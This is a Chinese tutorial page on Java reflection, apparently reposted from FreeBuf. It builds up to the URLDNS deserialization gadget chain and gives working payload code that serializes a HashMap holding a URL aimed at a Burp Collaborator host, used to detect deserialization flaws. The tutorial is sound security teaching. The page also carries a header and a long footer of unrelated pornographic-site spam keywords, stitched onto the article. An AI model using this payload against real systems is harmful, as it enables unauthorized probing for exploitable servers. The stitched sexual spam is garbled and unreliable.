精品欧美一区二区三区在线观看 _久久久久国色av免费观看性色_国产精品久久在线观看_亚洲第一综合网站_91精品又粗又猛又爽_小泽玛利亚一区二区免费_91亚洲精品国偷拍自产在线观看 _久久精品视频在线播放_美女精品久久久_欧美日韩国产成人在线

實(shí)例解析Java反射,你會(huì)了嗎?

安全 數(shù)據(jù)安全
java的反射是指在運(yùn)行狀態(tài)中,對(duì)于任意一個(gè)類都能夠知道這個(gè)類所有的屬性和方法,并且對(duì)于任意一個(gè)對(duì)象。

反射是大多數(shù)語言里都必不不可少的組成部分,對(duì)象可以通過反射獲取他的類,類可以通過反射拿到所有方法(包括私有),拿到的方法可以調(diào)用,總之通過“反射”,我們可以將Java這種靜態(tài)語言附加上動(dòng)態(tài)特性。

什么是反射

java的反射是指在運(yùn)行狀態(tài)中,對(duì)于任意一個(gè)類都能夠知道這個(gè)類所有的屬性和方法,并且對(duì)于任意一個(gè)對(duì)象。

基本形式

public void execute(String className, String methodName) throws Exception {
Class clazz = Class.forName(className);
clazz.getMethod(methodName).invoke(clazz.newInstance());
}

上面的例子中,我演示了幾個(gè)在反射里極為重要的方法:獲取類的方法: forName實(shí)例例化類對(duì)象的方法: newInstance獲取函數(shù)的方法: getMethod執(zhí)行函數(shù)的方法: invoke。

反射的作用:

讓Java具有動(dòng)態(tài)性,修改已有對(duì)象的屬性,動(dòng)態(tài)生成對(duì)象,動(dòng)態(tài)調(diào)用方法,操作內(nèi)部類和私有方法。

在反序列化漏洞中的應(yīng)用

定制需要的對(duì)象,通過invoke調(diào)用除了同名函數(shù)以外的函數(shù),通過class類創(chuàng)建對(duì)象,引入不能序列化的類。

java反射舉例

此處引用白日夢(mèng)組長(zhǎng)的例子,具體講解一下反射。

先寫一個(gè)Person作為我們下面演示的原型類。

public class Person {
private String name;
public int age;

public void act(){
System.out.println("test");
}
@Override
public String toString() {
return "Persion{" +
"name='" + name + '\'' +
", age=" + age +
'}';
}

public String getName() {
return name;
}

public void setName(String name) {
this.name = name;
}

public int getAge() {
return age;
}

public void setAge(int age) {
this.age = age;
}

public Person() {
}

public Person(String name, int age) {
this.name = name;
this.age = age;
}
}

獲取原型類

使用forName方法:

Class c = Class.forName("Person");

在此也寫一種基于ClassLoader的動(dòng)態(tài)類加載方式。

this.getClass().getClassLoader().loadClass("Person");

從原型class里面實(shí)例化對(duì)象

利用構(gòu)造函數(shù)實(shí)例化。

Constructor constructor = c.getConstructor(String.class,int.class);
Person p1 = (Person) constructor.newInstance("abc",22);

我們來逐行寫一下分析:

Constructor constructor = c.getConstructor(String.class,int.class);
這一行是為了獲取原型類中重載的構(gòu)造方法
public Person(String name, int age) {
this.name = name;
this.age = age;
}

對(duì)構(gòu)造方法進(jìn)行傳參實(shí)例化一個(gè)對(duì)象
Person p1 = (Person) constructor.newInstance("abc",22);
我們可以打印一下p1看一下返回結(jié)果

img

獲取類里面的屬性

private String name;
public int age;

public

Field ageField = c.getField("age");
ageField.set(p1,11);

img

private

Field nameField = c.getDeclaredField("name");
nameField.setAccessible(true);
nameField.set(p1,"xinyuan");

img

獲取類方法

Method actmethod = c.getMethod("act",String.class);
actmethod.invoke(p1,"SKyMirror");

getMethod 與上面的獲取構(gòu)造函數(shù)類似,第一個(gè)參數(shù)是函數(shù)名,第二個(gè)是傳參的類型。

invoke方法第一個(gè)傳入對(duì)象,第二個(gè)是傳入?yún)?shù)值。

img

利用URLDNS(反射)

這條鏈子算是反射的一個(gè)簡(jiǎn)單應(yīng)用。

利用點(diǎn)

URL這個(gè)類重寫了hashCode方法,導(dǎo)致在執(zhí)行hashCode的時(shí)候,此利用點(diǎn)不能命令執(zhí)行,但是會(huì)請(qǐng)求DNS,所以被用來驗(yàn)證是否存在反序列化漏洞。

源碼如下:

img

img

可以看到當(dāng)我們調(diào)用一次hashCode方法,他會(huì)對(duì)傳進(jìn)去的URL對(duì)象發(fā)起請(qǐng)求,即我們?nèi)绻NSLOG申請(qǐng)一個(gè)地址,根據(jù)訪問來判斷是否成功執(zhí)行了hashCode方法進(jìn)而判斷是否執(zhí)行了反序列化的操作。

URL這個(gè)類實(shí)現(xiàn)了java.io.Serializable,可以進(jìn)行序列化的操作。

img

因此,在這里我們可以驗(yàn)證一下我們上面的想法。

img

img

鏈子

這個(gè)鏈子也比較短,比較簡(jiǎn)單,主要是利用HashMap來執(zhí)行hashCode方法。

HashMap實(shí)現(xiàn)了Serializable可以序列化,此處注意反序列化時(shí)HashMap的readObject方法。

img

我們跟進(jìn)一下hash方法:

img

key參數(shù)可控,key又是由反序列化的時(shí)候生成的。在HashMap中用put傳入一個(gè)URL的對(duì)象,即可在反序列化的時(shí)候調(diào)用到此方法,從而觸發(fā)整個(gè)鏈子。

有一點(diǎn)需要注意,我們?cè)谛蛄谢臅r(shí)候,進(jìn)行的put傳參會(huì)修改掉傳入的URL對(duì)象的hashCode的值,因?yàn)閔ashCode值不等于-1,從而導(dǎo)致無法正常觸發(fā)下面的方法,即無法觸發(fā)DNS請(qǐng)求。

img

同時(shí)在正常put傳參的時(shí)候會(huì)執(zhí)行一次DNS請(qǐng)求,所以我們?cè)趐ut傳參之前修改hashCode的值(不為-1就行),傳參之后修改hashCode為-1,在反序列化的時(shí)候就可以正常執(zhí)行了。

payload如下:

public static void main(String[] args) throws Exception{
HashMap <URL,Integer> hashMap = new HashMap<>();
URL u = new URL("http://i2loelbsvarbmabqf89qi9k88zep2e.burpcollaborator.net/");
Class c = u.getClass();
//在進(jìn)行put方法傳參之前修改URL對(duì)象的hashCode值
Field hashcodeField = c.getDeclaredField("hashCode");
hashcodeField.setAccessible(true);
hashcodeField.set(u,123);

hashMap.put(u,123);
//修改URL對(duì)象的hashCode值為-1
hashcodeField.set(u,-1);
serialize(hashMap);
}

責(zé)任編輯:武曉燕 來源: FreeBuf.COM
相關(guān)推薦

2024-01-18 09:38:00

Java注解JDK5

2023-06-26 13:08:52

GraphQL服務(wù)數(shù)據(jù)

2022-08-29 08:05:44

Go類型JSON

2024-11-08 08:56:01

2023-12-27 07:31:45

json產(chǎn)品場(chǎng)景

2024-10-11 09:15:33

2025-01-02 10:02:44

2024-02-05 13:52:30

?Thread對(duì)象強(qiáng)引用

2024-01-19 08:25:38

死鎖Java通信

2024-10-09 07:40:43

2022-12-22 08:14:54

2024-09-06 07:29:05

2022-05-06 08:26:32

JavaSPI機(jī)制

2025-01-14 08:32:55

JWT令牌.NET

2024-04-01 08:29:09

Git核心實(shí)例

2024-07-31 08:26:47

2024-10-21 07:05:14

C#特性語言

2023-01-28 09:50:17

java多線程代碼

2022-04-01 08:23:17

InputstreString字符串

2023-07-26 13:11:21

ChatGPT平臺(tái)工具
點(diǎn)贊
收藏

51CTO技術(shù)棧公眾號(hào)

久久成人高清| 日韩欧美精品电影| 成人免费黄色在线| 欧美亚洲成人xxx| www.av天天| 99综合久久| 亚洲成人中文在线| 亚洲电影网站| 欧美一区二区三区成人片在线| 亚洲永久在线| 日韩最新av在线| 日本不卡视频一区| 国产亚洲人成a在线v网站| 亚洲乱码中文字幕综合| 欧美一区二区影视| 亚洲黄色a级片| 免费在线观看视频一区| 欧美激情视频一区二区| 亚洲v国产v欧美v久久久久久| 伊人久久大香伊蕉在人线观看热v 伊人久久大香线蕉综合影院首页 伊人久久大香 | 日本高清视频在线播放| 成人在线视频首页| 国产精品丝袜视频| 亚洲 欧美 视频| 亚洲精品电影| 一区二区欧美日韩视频| 中文字幕无码人妻少妇免费| 24小时成人在线视频| 欧美日韩中文字幕| 国产精品视频网站在线观看| av在线电影网| 国产午夜精品久久久久久久| 成人欧美视频在线| 97精品人妻一区二区三区| 亚洲综合精品四区| 午夜精品视频网站| 欧美日韩免费做爰视频| 99久久久久| 在线观看免费高清视频97| 欧美大喷水吹潮合集在线观看| 国产精品美女久久久久| 欧美日韩免费高清一区色橹橹 | 国产综合动作在线观看| 一卡二卡在线观看| 天堂av在线一区| 欧美在线免费看| 亚洲精品国产精品乱码| 国产精品a级| 欧美丰满少妇xxxxx做受| 国产wwwwxxxx| 欧美高清在线| 深夜福利亚洲导航| 亚洲熟女少妇一区二区| 日韩免费久久| 色综合伊人色综合网站| 国产又黄又粗的视频| 欧洲激情综合| 深夜福利91大全| 熟女少妇a性色生活片毛片| 成人短片线上看| 最近更新的2019中文字幕| 91禁男男在线观看| 久久裸体网站| 久久久精品一区| 国产精品吴梦梦| 国产精品8888| 欧美xxxx做受欧美88bbw| 亚洲激情网站免费观看| 欧美日韩中文字幕在线播放| 伊人222成人综合网| 一区二区三区精品视频| 成人免费观看在线| 免费一二一二在线视频| 色哟哟一区二区三区| 天天干天天干天天干天天干天天干| 日韩欧美精品电影| 欧美精品成人一区二区三区四区| 国产在线观看中文字幕| 91国内精品白嫩初高生| 亚洲精品乱码久久久久久按摩观| 丝袜美腿中文字幕| 成人女性视频| 欧美成人午夜激情在线| 国产手机在线视频| 青青草国产精品97视觉盛宴| 91久久精品国产91久久性色| 亚洲毛片在线播放| 久久蜜桃一区二区| 三年中文高清在线观看第6集| 亚洲制服国产| 欧美日韩国产精品一区二区三区四区| 国产aaa一级片| 91麻豆精品国产综合久久久 | 午夜精品福利一区二区蜜股av| 免费无遮挡无码永久视频| 成人看片在线观看| 日韩一级完整毛片| japanese中文字幕| 综合在线视频| 日韩av电影手机在线| 91精品国产综合久| av在线免费不卡| 亚洲v日韩v欧美v综合| 欧美大片黄色| 欧洲av一区二区嗯嗯嗯啊| 少妇欧美激情一区二区三区| 蜜桃精品wwwmitaows| 欧美大片在线影院| 欧美特级黄色片| 成人一区二区视频| 综合视频免费看| 日本黄色免费在线| 日韩亚洲国产中文字幕欧美| 91网站免费入口| 黄色成人91| 国产又爽又黄的激情精品视频 | av中文字幕一区| 在线播放 亚洲| 日韩在线影院| 亚洲国产精品免费| 黄色a级片在线观看| 久久久久久穴| 精品国产福利| 在线视频观看国产| 欧美绝品在线观看成人午夜影视| 亚洲国产综合视频| 欧美区日韩区| 91在线观看免费高清完整版在线观看| 男男电影完整版在线观看| 亚洲自拍偷拍欧美| 久久久久久久久久一区二区| 免费欧美视频| 欧美野外猛男的大粗鳮| 亚洲精品18在线观看| 亚洲欧美电影院| 亚洲精品久久久久久宅男| 国产调教一区二区三区| 欧洲一区二区视频| 午夜视频在线播放| 五月天一区二区三区| 久久久久亚洲av无码网站| 欧美日韩色图| 国产精品国产三级国产aⅴ9色| 天天干天天爱天天操| 亚洲自拍偷拍麻豆| theporn国产精品| 欧美hentaied在线观看| 国产精品免费久久久久久| 黄色在线免费观看大全| 欧美丝袜一区二区三区| 亚洲永久无码7777kkk| 亚洲人成人一区二区三区| 国产精品夜夜夜一区二区三区尤| 菠萝蜜视频国产在线播放| 制服.丝袜.亚洲.中文.综合| 男人av资源站| 国产精品香蕉一区二区三区| 国产一二三四五| 日本免费精品| 欧美极品美女电影一区| 色偷偷在线观看| 黑人巨大精品欧美一区二区三区| 中出视频在线观看| 久久亚洲一区| 亚洲春色综合另类校园电影| 亚洲天堂网站| 欧美日本亚洲视频| 肥臀熟女一区二区三区| 欧美视频中文字幕在线| www.av天天| 狠狠色综合日日| 一级特黄妇女高潮| av成人app永久免费| 欧美激情视频网站| 蜜芽tv福利在线视频| 欧美日韩在线不卡| 精品亚洲乱码一区二区| 成人性生交大合| 哪个网站能看毛片| 久久亚洲国产| 韩国成人一区| aaaa欧美| 欧美黄色小视频| 秋霞av在线| 在线成人av影院| 国产无套内射又大又猛又粗又爽| 久久综合色天天久久综合图片| 中文字幕在线导航| 午夜精品久久久久99热蜜桃导演| 国产亚洲第一区| 成人av色网站| 97在线视频一区| 天堂地址在线www| 欧美xxx久久| 最好看的日本字幕mv视频大全| 一区二区在线观看视频| 中文字幕一区二区人妻在线不卡| 毛片av一区二区| 可以看毛片的网址| 久久综合99| 狠狠色综合网站久久久久久久| 99精品国自产在线| 国内精品一区二区三区四区| 午夜激情视频在线| 亚洲国产欧美一区二区三区同亚洲 | 欧美激情aⅴ一区二区三区| 欧美精品v日韩精品v国产精品| 91精品国产一区二区在线观看| 琪琪亚洲精品午夜在线| 18av在线播放| 中文字幕亚洲天堂| 天堂а√在线8种子蜜桃视频| 69久久99精品久久久久婷婷| 日韩欧美在线观看免费| 亚洲综合视频网| 美女视频久久久| 2023国产精品| 最新国产精品自拍| 久热成人在线视频| 可以免费观看av毛片| 欧美日韩亚洲三区| 免费在线观看污污视频| 精品国产aⅴ| 久久久综合香蕉尹人综合网| 91综合久久爱com| 91久久国产精品| 日韩av懂色| 国产精品久久久精品| 中文在线中文资源| 国内外成人免费激情在线视频| 免费人成在线观看播放视频 | 国产 欧美 在线| 97久久超碰精品国产| 亚洲乱妇老熟女爽到高潮的片| 精品一区二区三区久久久| 日本人视频jizz页码69| 三级精品在线观看| 能在线观看的av| 亚洲国产综合在线看不卡| 成人国产一区二区三区| 亚洲成人三区| 免费看污污视频| 欧美a级片一区| 少妇高潮大叫好爽喷水| 国产精品久久观看| 黄频视频在线观看| 国产高清久久| dy888午夜| 欧美 亚欧 日韩视频在线| 美女黄色片网站| 中文精品久久| 日韩国产成人无码av毛片| 亚洲无线视频| 日日摸日日碰夜夜爽无码| 99riav国产精品| 免费在线观看毛片网站| 久久亚洲欧洲| 超碰超碰在线观看| 久久国产尿小便嘘嘘| 午夜福利123| 国产激情视频一区二区在线观看| 国产精品19p| 成人短视频下载| 国产高清自拍视频| 国产欧美一二三区| 久久精品一区二区三区四区五区| 亚洲天堂精品在线观看| 久久久久亚洲av片无码下载蜜桃| 亚洲国产一区视频| 中文字字幕在线中文| 欧美日韩在线亚洲一区蜜芽| 国产日韩欧美一区二区东京热| 欧美不卡在线视频| 青青草在线免费观看| 中文字幕国产精品久久| 羞羞的网站在线观看| 2019中文字幕全在线观看| 四虎4545www精品视频| 亚洲精品欧美极品| 欧美大胆a级| 亚洲国产精品久久久久久女王| 国产精品久久久久久影院8一贰佰 国产精品久久久久久麻豆一区软件 | 草民午夜欧美限制a级福利片| 九色91在线| 国产成人精品视频在线| 中文幕av一区二区三区佐山爱| 国产精品免费看一区二区三区| 偷拍自拍亚洲色图| 一区二区视频国产| 伊人成年综合电影网| 国产精品无码av无码| 国产一二精品视频| 538国产视频| 综合久久国产九一剧情麻豆| 日韩精品一卡二卡| 欧美美女激情18p| 婷婷色在线视频| 日韩中文字幕免费| 亚洲精品mv| 99www免费人成精品| 精品理论电影| 极品美女扒开粉嫩小泬| 精品无人码麻豆乱码1区2区| 国产乱了高清露脸对白| 国产精品第四页| 东京热一区二区三区四区| 欧美一个色资源| 成年人视频在线免费观看| 97精品视频在线| 国产精品1区| 五码日韩精品一区二区三区视频| 亚洲天堂成人| 亚洲天堂伊人网| 国产三级精品三级在线专区| 国产一级免费观看| 69成人精品免费视频| 麻豆影视在线| 97热精品视频官网| 日本免费一区二区三区视频| 亚洲欧洲精品一区二区三区波多野1战4 | 亚洲国产精品无码av| 国产在线乱码一区二区三区| 老熟妇一区二区| 色哟哟欧美精品| 少妇一级淫片免费看| 另类专区欧美制服同性| 六九午夜精品视频| 天堂精品视频| 久久精品91| 亚洲av无码国产精品久久| 亚洲成人av福利| 亚洲AV无码成人片在线观看| 久久精品亚洲一区| 中文幕av一区二区三区佐山爱| 日韩在线三级| 日韩1区2区3区| 国产精品成人无码免费| 黑人精品xxx一区一二区| 亚洲欧洲精品视频| 亚洲91精品在线| 亚州av日韩av| 国模吧无码一区二区三区 | 国语精品中文字幕| 激情综合久久| 国产精品成人99一区无码| 亚洲午夜激情av| 欧美一区,二区| 午夜精品久久久久久久久久久久久 | 日韩动漫在线观看| 免费中文字幕日韩欧美| av直播在线观看| 色综合久久久网| 国产资源在线看| 国产精品女人久久久久久| 国产伦精品一区二区三区四区免费 | 第一sis亚洲原创| 最新天堂中文在线| 中文字幕一区在线观看视频| 国产精品久久久久久久久毛片| 精品国内产的精品视频在线观看| 成人在线啊v| 高清无码一区二区在线观看吞精| 成人一区在线看| 亚洲永久精品在线观看| 国产偷亚洲偷欧美偷精品| 亚洲精品永久免费视频| 色一情一乱一伦一区二区三区丨| 蜜桃一区二区三区四区| 潘金莲一级黄色片| 亚洲成在人线av| 国产精品伦理| 一区二区三区四区视频在线观看| 国产在线播放一区三区四| 国产亚洲精品av| 亚洲欧美日韩在线高清直播| 国产精品黄色片| 国产精品视频网站在线观看| 97se狠狠狠综合亚洲狠狠| 久久久久久久久黄色| 色婷婷久久av| 91在线一区| 999在线免费视频| 亚洲精品免费看| 少妇性bbb搡bbb爽爽爽欧美| 国产欧美精品va在线观看| 中文不卡在线| 91视频在线网站| 欧美一区二区三区免费视频 | 欧美性猛交xxxx富婆弯腰| www.中文字幕久久久| av观看久久| 人妖欧美一区二区| 国产在线拍揄自揄拍| 中文日韩电影网站| 福利在线一区| 国产3p在线播放| 精品久久久久久| a级网站在线播放| 亚洲草草视频| 91在线精品秘密一区二区|